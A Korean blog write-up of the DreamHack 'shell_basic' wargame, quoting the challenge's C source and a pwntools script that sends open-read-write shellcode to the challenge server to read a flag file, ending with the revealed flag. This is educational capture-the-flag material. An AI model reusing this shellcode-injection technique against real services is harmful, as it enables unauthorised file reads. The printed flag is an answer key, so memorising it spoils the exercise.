Pwnable
[DreamHack] shell_basic Write-Up
의성마늘햄
2024. 9. 19. 12:43
Description
입력한 셸코드를 실행하는 프로그램이 서비스로 등록되어 작동하고 있습니다.
main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.
flag 파일의 위치와 이름은 /home/shell_basic/flag_name_is_loooooong입니다.감 잡기 어려우신 분들은 아래 코드를 가지고 먼저 연습해보세요!
플래그 형식은 DH{...} 입니다. DH{와 }도 모두 포함하여 인증해야 합니다.
문제에서는 execve, execveat를 사용하지 못하도록 했으며, flag를 읽어야 하므로 orw (Open Read Write) 셸코드를 사용하는 것으로 보인다.
// shell_basic.c
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
pwnlib.shellcraft.aarch64 — Shellcode for AArch64 — pwntools 4.13.0 documentation
위는 pwntools의 shellcraft는 시스템콜을 쉽게 사용하기 위한 클래스인 shellcraft의 docs이다.
from pwn import *
p = remote("host3.dreamhack.games", 19033)
context.arch = "amd64"
r = "/home/shell_basic/flag_name_is_loooooong"
shellcode = ''
shellcode += shellcraft.open(r)
shellcode += shellcraft.read('rax', 'rsp', 0x1000)
shellcode += shellcraft.write(1, 'rsp', 0x1000)
print(p.recv())
p.sendline(asm(shellcode))
print(p.recv())
open, read, write 시스템콜하여 쉘코드를 만들어주자.
shellcraft.open을 통해 미리 지정한 파일을 열고, shellcraft.read로 이를 읽어들여 shellcraft.write로 콘솔에 출력하는 기능을 한다.
'rax'가 파일 디스크립터로 설정되는 이유는 시스템콜로 반환된 값이 rax에 저장되기 때문이다. 즉, open() 함수 결과는 rax 레지스터에 저장된다.
shellcode += shellcraft.read('rax', 'rsp', 0x1000) => read(fd, buf, 0x1000)
shellcode += shellcraft.write(1, 'rsp', 0x1000) => write(stdout, buf, 0x1000)
파일에서 읽어온 데이터를 메모리 어딘가에 저장해야 하는데, 이 경우에는 스택(rsp)을 사용한다. 스택은 함수 호출 시 임시 데이터를 저장하는데 사용되며, 이 경우에는 파일 내용을 저장하는데 활용된다.
그러므로 buf의 값으로 'rsp'가 들어가는 이유는 buf의 주소가 'rsp'의 현재 위치이기 때문이다.
위의 방법으로 생성한 쉘 코드를 asm함수를 사용하여 어셈블리어로 변환한 후에 서버로 전송힌다. 그리고 결과값을 받아와서 출력하면
Flag is
DH{ca562d7cf1db6c55cb11c4ec350a3c0b}